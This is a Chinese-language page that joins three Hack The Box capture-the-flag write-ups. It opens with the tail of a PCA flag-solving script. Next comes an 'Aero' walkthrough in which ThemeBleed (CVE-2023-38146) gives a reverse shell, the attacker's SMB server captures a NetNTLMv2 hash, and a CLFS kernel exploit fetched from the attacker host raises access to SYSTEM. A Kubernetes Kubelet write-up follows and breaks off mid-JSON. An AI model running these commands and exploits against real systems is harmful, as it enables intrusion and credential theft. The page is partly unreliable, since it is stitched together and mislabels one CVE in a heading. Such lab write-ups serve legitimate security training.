join_tokens(T, order), join_tokens(T, order[::-1]) for (i, j) in [(0, 1), (0, 2), (1, 2)]: asc, desc = angle_sort_pair(X3, i, j) print(f'Angle axes ({i+1},{j+1}) asc:', asc) print(f'Angle axes ({i+1},{j+1}) desc:', desc) candidates.append(asc) candidates.append(desc) # 在 2D 投影上使用贪心的最近邻路径 # 使用前两个主成分上的最近邻来获得路径式排序 X2 = X3[:, :2] order_nn = nearest_neighbor_order(X2) nn = join_tokens(T, order_nn) nn_rev = join_tokens(T, order_nn[::-1]) print('Nearest path:', nn) print('Nearest path reverse:', nn_rev) candidates.append(nn) candidates.append(nn_rev) # 使用 2‑opt 对最近邻路径进行优化 order_nn_opt = two_opt_improve(order_nn, X2) nn_opt = join_tokens(T, order_nn_opt) nn_opt_rev = join_tokens(T, order_nn_opt[::-1]) print('Nearest path (2-opt):', nn_opt) print('Nearest path (2-opt reverse):', nn_opt_rev) candidates.append(nn_opt) candidates.append(nn_opt_rev) # 基于最小生成树的 DFS 路径 order_mst = mst_dfs_order(X2) mst = join_tokens(T, order_mst) mst_rev = join_tokens(T, order_mst[::-1]) print('MST DFS path:', mst) print('MST DFS path reverse:', mst_rev) candidates.append(mst) candidates.append(mst_rev) # 以字符 'H' 的位置为起点搜索路径 H_idxs = [i for i, tok in enumerate(T) if tok == 'H'] best_flag = None for h in H_idxs: path_h = nearest_neighbor_order_start(X2, h) path_h_opt = two_opt_improve(path_h, X2) s_h = join_tokens(T, path_h_opt) candidates.append(s_h) f = get_flag_substring(s_h) if f and (best_flag is None or len(f) > len(best_flag)): best_flag = f if best_flag: print('Best flag by H-start two-opt:', best_flag) # 尝试提取 HTB 格式的 Flag 子串 print('\nCandidate flags found:') printed = set() for s in candidates: f = get_flag_substring(s) if f and f not in printed: printed.add(f) print(f) if __name__ == '__main__': main()步骤 4：确认最终 Flag结合数据在低维空间呈现的“螺旋”结构与候选的语义：HTB{L0ST_1N_TH3_SP1R4L}该串读作 “LOST IN THE SPIRAL”，与题意贴合。关键实现要点（速览）PCA（SVD）：仅做“均值中心化”，若特征量纲差距大，建议在 PCA 前加入“单位方差标准化”（可选）：E_std = (E - mean) / (std + 1e-8)。排序策略：主轴排序：按各主成分坐标升/降序；极角排序：在多个主成分平面上按 atan2 角度排序；最近邻路径：在 2D 投影上从初始点依次连接最近未访问点；two?opt：两点交换优化路径，减少折返；MST+DFS：用最短边连通全图，再做 DFS 获得平滑遍历序列。自动提取：对每个候选字符串查找 HTB{...} 子串，去重后打印。结语遵循本教程从数据投影、几何遍历到子串提取的流水线，即可稳健地还原被“丢失在超空间”的字符序列，并快速定位 HTB Flag。
Aero：通过主题上传实现 Windows RCE 与 CLFS 本地提权复盘(CVE-2023-28252)
AI摘要：文章介绍了利用Windows主题漏洞CVE-2023-28252通过主题上传实现远程代码执行和本地提权，详细描述了扫描、漏洞原理、攻击流程及捕获系统权限的过程。首先使用nmap扫描存活的端口nmap -p- --min-rate 10000 10.10.11.237Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-26 22:58 EDT Nmap scan report for 10.10.11.237 Host is up (0.092s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 80/tcp open http发现了80端口，让我们扫描具体的服务nmap -p 80 -sCV 10.10.11.237PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Aero Theme Hub |_http-server-header: Microsoft-IIS/10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 60.17 seconds根据IIS版本,主机可能运行现代Windows操作系统(Windows 10/11或Server 2016+)。访问该网站发现是一个 Windows 11 主题的存储库底部拥有一个上传点来上传自定义主题“浏览”按钮为文件对话框打开.theme而且.themepack扩展。如果我尝试上传一张图片,它会根据文件扩展名(或者说明)来拒绝它:File upload failed. Invalid file extension.接着我们来制作一个虚拟test.theme文件来进行上传上传成功并显示：File upload succeeded, Once we test your theme it will be added to the site!说明后续还会有人来打开测试它底部有一封邮件,support@aerohub.htb。页面上的所有链接都指向同一页面的其他部分。我们来查看http响应头来判断IIS的版本HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: .AspNetCore.Antiforgery.SV5HtsIgkxc=CfDJ8KhwwGdRThZIsdKv2UEKBTSKcK6NYPd906TegwfWvC5IvpQ6t9cvvVGbGBjIdz6FTU-kOje59n9YpR8Q0CZtkfoJtfs2njXhJ_fDAJGYcVimZ-11D2WAdnNEB1nTRyfLh3gTNQxTVeUrG5h-tdWSJ8c; path=/; samesite=strict; httponly X-Frame-Options: SAMEORIGIN X-Powered-By: ARR/3.0 Date: Tue, 26 Sep 2023 12:09:15 GMT Connection: close Content-Length: 11650X-Powered-By关于ARR/3.0与更常见的不同ASP.NET。Application Request Routing申请流程是用于处理负载均衡的 IIS 扩展。现在我们不知道这个扩展页面的扩展我会跑feroxbuster针对该网站,将其作为小写词列表,因为IIS对爆破事件不敏感:┌──(root㉿kali)-[~] └─# feroxbuster -u http://10.10.11.237 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.9.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.11.237 🚀 Threads │ 50 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.9.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 0l 0w 0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 186l 870w 11650c http://10.10.11.237/ 200 GET 186l 870w 11650c http://10.10.11.237/home 400 GET 6l 26w 324c http://10.10.11.237/error%1F_log [####################] - 1m 26584/26584 0s found:3 errors:0 [####################] - 1m 26584/26584 366/s http://10.10.11.237/ 我们可以发现它从/home以主页的形式来进行加载接着我们需要查找关于微软主题站的可利用漏洞搜索关键词：Windows 11主题利用，windows 11 theme exploit通过搜索，我们发现了一个可利用的CVE漏洞CVE漏洞详细描述： CVE-2023-38146,即“ThemeBleed”,是 Windows 主题中的一个漏洞,允许远程执行代码。[September 2023 Patch Tuesday](https://www.bleepingcomputer.com/news/microsoft/microsoft-september-2023-patch-tuesday-fixes-2-zero-days-59-flaws/)补丁于2023年9月的星期二进行了补丁。 此漏洞来自 Windows 处理方式`.msstyles`从主题文件中引用的文件。这些`.msstyles`文件导致Windows在与该路径相同的路径上打开一个DLL`.msstyles`路径与`_vrf.dll`附后。此文件上的数字签名在加载前需检查。 漏洞出现是因为,当使用 999 版本时,时间之间会有很大差距`_vrf.dll`二进制文件的签名将被检查,何时加载以供使用。此间隙显示一个竞速状态,攻击者可将经过验证的DLL样式替换为恶意有效载荷,以运行任意代码。我们接着来寻找可利用的POC：研究人员发布的概念验证代码已出现在此 GitHub 仓库中。Releases在“发布”部分中,有一个压缩文件,其中包含一个Windows可执行文件以及命名的DLLstage1,stage2并且stage3:┌──(root㉿kali)-[~] └─# find . -type f -exec file {} \; ./SMBLibrary.Win32.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows ./ThemeBleed.pdb: MSVC program database ver 7.00, 512*95 bytes ./ThemeBleed.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows ./SMBLibrary.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows ./data/stage_3: PE32+ executable (DLL) (console) x86-64, for MS Windows ./data/stage_1: PE32+ executable (DLL) (console) x86-64, for MS Windows ./data/stage_2: PE32+ executable (DLL) (console) x86-64, for MS WindowsGitHub 上的 README 显示,该工具有三条命令:server- 运行服务器make_theme制作一个.theme文件make_themepack制作一个.themepack文件stage1是msstyles文件PACHTHEME_VERSION设置为 999。stage2是一个合法签名样式文件,stage3是要加载的 DLL,默认情况下会启动calc.exe。这个工具的主要要点是:主题会尝试从主机上的 SMB 共享中加载样式文件。这会触发与文件结尾的交互_vrf.dll首先用CreateFileAPI 读取它并验证其签名,然后打开它LoadLibraryAPI。SMB服务器利用其打开方式的不同,以返回合法的DLL或恶意的DLL。python3 themebleed.py -r 10.10.14.9 -p 9999 2025-10-17 13:39:09,543 INFO> ThemeBleed CVE-2023-38146 PoC [https://github.com/Jnnshschl] 2025-10-17 13:39:09,543 INFO> Credits to -> https://github.com/gabe-k/themebleed, impacket and cabarchive 2025-10-17 13:39:11,087 INFO> Theme generated: "evil_theme.theme" 2025-10-17 13:39:11,087 INFO> Themepack generated: "evil_theme.themepack" 2025-10-17 13:39:11,087 INFO> Remember to start netcat: rlwrap -cAr nc -lvnp 9999 2025-10-17 13:39:11,087 INFO> Starting SMB server: 10.10.14.9:445 2025-10-17 13:39:11,087 INFO> Config file parsed 2025-10-17 13:39:11,087 INFO> Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 2025-10-18 13:39:11,088 INFO> Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 2025-10-17 13:39:11,088 INFO> Config file parsed 2025-10-17 13:39:11,088 INFO> Config file parsed我们还在9999端口开始收听。现在我们上传“evil_theme.theme”文件,希望能从机器上获得回调上传文件后,我们发现有关于这些文件的请求2025-10-17 15:08:44,932 INFO> Incoming connection (10.129.222.250,50623) 2025-10-17 15:08:45,294 INFO> AUTHENTICATE_MESSAGE (AERO\sam.emerson,AERO) 2025-10-17 15:08:45,294 INFO> User AERO\sam.emerson authenticated successfully 2025-10-17 15:08:45,294 INFO> sam.emerson::AERO:aaaaaaaaaaaaaaaa:d5051f01669b6ef1788c0328bd40d9c3:0101000000000000804042cc2ccdda01333ab5323897351d0000000001001000770074006100670055006100640048000300100077007400610067005500610064004800020010004c0079006d0051004500520079004d00040010004c0079006d0051004500520079004d0007000800804042cc2ccdda0106000400020000000800300030000000000000000000000000200000069923f1de1a6c251facaedeb967ea1813524f0afa1d512f7edbd31329d351940a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0039000000000000000000 2025-10-17 15:08:45,466 INFO> Connecting Share(1:IPC$) 2025-10-17 15:08:45,808 INFO> Connecting Share(2:tb) 2025-10-17 15:08:45,981 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 1] 2025-10-17 15:08:47,568 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 1] 2025-10-17 15:08:49,116 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 7] 2025-10-17 15:08:49,810 WARNING> Stage 1/3: "Aero.msstyles" [shareAccess: 5] 2025-10-17 15:08:52,242 WARNING> Stage 2/3: "Aero.msstyles_vrf.dll" [shareAccess: 7] 2025-10-17 15:08:53,921 WARNING> Stage 2/3: "Aero.msstyles_vrf.dll" [shareAccess: 1] 2025-10-17 15:08:57,449 INFO> Disconnecting Share(1:IPC$) 2025-10-17 15:08:58,837 WARNING> Stage 2/3: "Aero.msstyles_vrf.dll" [shareAccess: 7] 2025-10-17 15:08:59,526 WARNING> Stage 3/3: "Aero.msstyles_vrf.dll" [shareAccess: 5]现在让我们检查一下我们的反向dll,我们收到了回调┌──(root㉿kali)-[~] └─# rlwrap -cAr nc -lvnp 9999 listening on [any] 9999 ... connect to [10.10.14.9] from (UNKNOWN) [10.129.223.36] 50624 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows PS C:\Windows\system32>我们成功连接上了主机PS C:\Users\sam.emerson\Documents> dir dir Directory: C:\Users\sam.emerson\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/21/2023 9:18 AM 14158 CVE-2023-28252_Summary.pdf -a---- 9/26/2023 1:06 PM 1113 watchdog.ps1gointstor.ps1 文件负责执行我们上传的恶意主题然后是一个PDF文件。该标题为我们提供了获取管理权限所需漏洞的线索。将文件转换为 base64 来展开让我们查看文件内容是一个CVE-2023-28252漏洞的介绍访问报告链接:https://github.com/bkstephen/Compiled-PoC-Binary-For-CVE-2023-28252我们可以使用Python服务器从外置设备上传二进制文件,然后以下方式下载PS C:\Users\sam.emerson\Documents> iwr http://10.10.14.9:9797/clfs_eop.exe -outfile clfs_eop.exe我们传递一个命令来执行,因此我传递了一个 PowerPoint Base64 编码的反向 shell。(端口 9988)PS C:\Users\sam.emerson\Documents> .\clfs_eop.exe "powershell -e [binary]" .\clfs_eop.exe "powershell -e [binary]" [+] Incorrect number of arguments ... using default value 1208 and flag 1 for w11 and w10 ARGUMENTS [+] TOKEN OFFSET 4b8 [+] FLAG 1 VIRTUAL ADDRESSES AND OFFSETS [+] NtFsControlFile Address --> 00007FF8F2684240 [+] pool NpAt VirtualAddress -->FFFFE68A3893D000 [+] MY EPROCESSS FFFFBF0AC65E9180 [+] SYSTEM EPROCESSS FFFFBF0AC14CE040 [+] _ETHREAD ADDRESS FFFFBF0AC65EA080 [+] PREVIOUS MODE ADDRESS FFFFBF0AC65EA2B2 [+] Offset ClfsEarlierLsn --------------------------> 0000000000013220 [+] Offset ClfsMgmtDeregisterManagedClient --------------------------> 000000000002BFB0 [+] Kernel ClfsEarlierLsn --------------------------> FFFFF80029613220 [+] Kernel ClfsMgmtDeregisterManagedClient --------------------------> FFFFF8002962BFB0 [+] Offset RtlClearBit --------------------------> 0000000000343010 [+] Offset PoFxProcessorNotification --------------------------> 00000000003DBD00 [+] Offset SeSetAccessStateGenericMapping --------------------------> 00000000009C87B0 [+] Kernel RtlClearBit --------------------------> FFFFF80024D43010 [+] Kernel SeSetAccessStateGenericMapping --------------------------> FFFFF800253C87B0 [+] Kernel PoFxProcessorNotification --------------------------> FFFFF80024DDBD00 PATHS [+] Folder Public Path = C:\Users\Public [+] Base log file name path= LOG:C:\Users\Public\20 [+] Base file path = C:\Users\Public\20.blf [+] Container file name path = C:\Users\Public\.p_20 Last kernel CLFS address = FFFFE68A39D87000 numero de tags CLFS founded 11 Last kernel CLFS address = FFFFE68A3A542000 numero de tags CLFS founded 1 [+] Log file handle: 00000000000000EC [+] Pool CLFS kernel address: FFFFE68A3A542000 number of pipes created =5000 number of pipes created =4000 TRIGGER START System_token_value: FFFFE68A33041596 SYSTEM TOKEN CAPTURED Closing Handle ACTUAL USER=SYSTEM #< CLIXML是的,我们接到回显┌──(kali㉿kali)-[~/HTB/Aero] └─$ rlwrap -cAr nc -lvnp 9988 listening on [any] 9988 ... connect to [10.10.14.9] from (UNKNOWN) [10.129.223.36] 65382 whoami nt authority\system PS C:\Users\sam.emerson\Documents>根用户标识可以在管理员桌面中找到
AI摘要：本次云原生渗透测试利用了**Kubelet匿名访问**漏洞，成功从一个普通用户Pod提权并最终获取了主机的root权限。攻击过程包括信息侦察、利用Kubelet未授权访问、获取服务令牌、创建恶意Pod以及最终读取Flag。攻击机ip：10.10.16.3靶机IP：10.10.11.133首先nmapnmap -p- --min-rate 10000 -oA scans/nmap-alltcp得到结果Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 09:34 CST Nmap scan report for 10.10.11.133 Host is up (0.42s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 10.36 secondsSSH 默认端口为 22。Etcd 是一个 Kubernetes 组件，客户端监听端口为 2379，服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展，默认监听端口为 10250，Kubernetes API 监听端口为 8443。让我先来看看 Kubernetes API，它在 8443 端口上可访问。首先尝试访问Kubernetes API Server（8443端口），检查是否存在未授权访问：访问“https://10.10.11.133:8443”发现403{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 }输出显示我们无法在未经身份验证的情况下访问主目录，因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。curl https://10.10.11.133:10250/pods -k {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2025-09-12T21:29:29.748824313-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/var/lib/minikube/certs","type":"DirectoryOrCreate"}},{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/controller-manager.conf","type":"FileOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-controller-manager","image":"k8s.gcr.io/kube-controller-manager:v1.22.3","command":["kube-controller-manager","--allocate-node-cidrs=true","--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf","--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf","--bind-address=127.0.0.1","--client-ca-file=/var/lib/minikube/certs/ca.crt","--cluster-cidr=10.244.0.0/16","--cluster-name=mk","--cluster-signing-cert-file=/var/lib/minikube/certs/ca.crt","--cluster-signing-key-file=/var/lib/minikube/certs/ca.key","--controllers=*,bootstrapsigner,tokencleaner","--kubeconfig=/etc/kubernetes/controller-manager.conf","--leader-elect=false","--port=0","--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt","--root-ca-file=/var/lib/minikube/certs/ca.crt","--service-account-private-key-file=/var/lib/minikube/certs/sa.key","--service-cluster-ip-range=10.96.0.0/12","--use-service-account-credentials=true"],"resources":{"requests":{"cpu":"200m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"flexvolume-dir","mountPath":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec"},{"name":"k8s-certs","readOnly":true,"mountPath":"/var/lib/minikube/certs"},{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/controller-manager.conf"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10257,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"startupProbe":{"httpGet":{"path":"/healthz","port":10257,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:35Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:35Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2025-09-13T01:29:30Z","containerStatuses":[{"name":"kube-controller-manager","state":{"running":{"startedAt":"2025-09-13T01:29:17Z"}},"lastState":{},"ready":true,"restartCount":23,"image":"k8s.gcr.io/kube-controller-manager:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-controller-manager@sha256:e67dbfd3796b7ce04fee80acb52876928c290224a91862c5849c3ab0fa31ca78","containerID":"docker://36aaf9ae0e34c56006116a76961d24a15ee938d72c56e40a813fe8cf11ef33be","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-scheduler-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-steamcloud","uid":"3232b72c69e9f8bf518a7d727d878b27","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"3232b72c69e9f8bf518a7d727d878b27","kubernetes.io/config.seen":"2025-09-12T21:29:29.748830024-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/scheduler.conf","type":"FileOrCreate"}}],"containers":[{"name":"kube-scheduler","image":"k8s.gcr.io/kube-scheduler:v1.22.3","command":["kube-scheduler","--authentication-kubeconfig=/etc/kubernetes/scheduler.conf","--authorization-kubeconfig=/etc/kubernetes/scheduler.conf","--bind-address=127.0.0.1","--kubeconfig=/etc/kubernetes/scheduler.conf","--leader-elect=false","--port=0"],"resources":{"requests":{"cpu":"100m"}},"volumeMounts":[{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/scheduler.conf"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10259,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"startupProbe":{"httpGet":{"path":"/healthz","port":10259,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:33Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:33Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2025-09-13T01:29:30Z","containerStatuses":[{"name":"kube-scheduler","state":{"running":{"startedAt":"2025-09-13T01:29:17Z"}},"lastState":{},"ready":true,"restartCount":22,"image":"k8s.gcr.io/kube-scheduler:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-scheduler@sha256:cac7ea67201a84c00f3e8d9be51877c25fb539055ac404c4a9d2dd4c79d3fdab","containerID":"docker://731772f15db409db512e4b61d1374ec093a260abd206d0737ef4f78c6d8b23a8","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"etcd-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-steamcloud","uid":"967b9bee71f2e3cec06ff1dbde2a2a19","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubeadm.kubernetes.io/etcd.advertise-client-urls":"https://10.10.11.133:2379","kubernetes.io/config.hash":"967b9bee71f2e3cec06ff1dbde2a2a19","kubernetes.io/config.seen":"2025-09-12T21:29:29.748831647-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"etcd-certs","hostPath":{"path":"/var/lib/minikube/certs/etcd","type":"DirectoryOrCreate"}},{"name":"etcd-data","hostPath":{"path":"/var/lib/minikube/etcd","type":"DirectoryOrCreate"}}],"containers":[{"name":"etcd","image":"k8s.gcr.io/etcd:3.5.0-0","command":["etcd","--advertise-client-urls=https://10.10.11.133:2379","--cert-file=/var/lib/minikube/certs/etcd/server.crt","--client-cert-auth=true","--data-dir=/var/lib/minikube/etcd","--initial-advertise-peer-urls=https://10.10.11.133:2380","--initial-cluster=steamcloud=https://10.10.11.133:2380","--key-file=/var/lib/minikube/certs/etcd/server.key","--listen-client-urls=https://127.0.0.1:2379,https://10.10.11.133:2379","--listen-metrics-urls=http://127.0.0.1:2381","--listen-peer-urls=https://10.10.11.133:2380","--name=steamcloud","--peer-cert-file=/var/lib/minikube/certs/etcd/peer.crt","--peer-client-cert-auth=true","--peer-key-file=/var/lib/minikube/certs/etcd/peer.key","--peer-trusted-ca-file=/var/lib/minikube/certs/etcd/ca.crt","--proxy-refresh-interval=70000","--snapshot-count=10000","--trusted-ca-file=/var/lib/minikube/certs/etcd/ca.crt"],"resources":{"requests":{"cpu":"100m","memory":"100Mi"}},"volumeMounts":[{"name":"etcd-data","mountPath":"/var/lib/minikube/etcd"},{"name":"etcd-certs","mountPath":"/var/lib/minikube/certs/etcd"}],"livenessProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"startupProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:35Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:35Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2025-09-13T01:29:30Z","containerStatuses":[{"name":"etcd","state":{"running":{"startedAt":"2025-09-13T01:29:17Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/etcd:3.5.0-0","imageID":"docker-pullable://k8s.gcr.io/etcd@sha256:9ce33ba33d8e738a5b85ed50b5080ac746deceed4a7496c550927a7a19ca3b6d","containerID":"docker://b8ca92b2d372bbb7d0b7065c3d2edf97afb2ec24517d2ce0525110ef1562f8e4","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-apiserver-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-steamcloud","uid":"c1926d0465cd9de10197b95a2c359105","creationTimestamp":null,"labels":{"component":"kube-apiserver","tier":"control-plane"},"annotations":{"kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint":"10.10.11.133:8443","kubernetes.io/config.hash":"c1926d0465cd9de10197b95a2c359105","kubernetes.io/config.seen":"2025-09-12T21:29:29.748832779-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/var/lib/minikube/certs","type":"DirectoryOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-apiserver","image":"k8s.gcr.io/kube-apiserver:v1.22.3","command":["kube-apiserver","--advertise-address=10.10.11.133","--allow-privileged=true","--authorization-mode=Node,RBAC","--client-ca-file=/var/lib/minikube/certs/ca.crt","--enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationS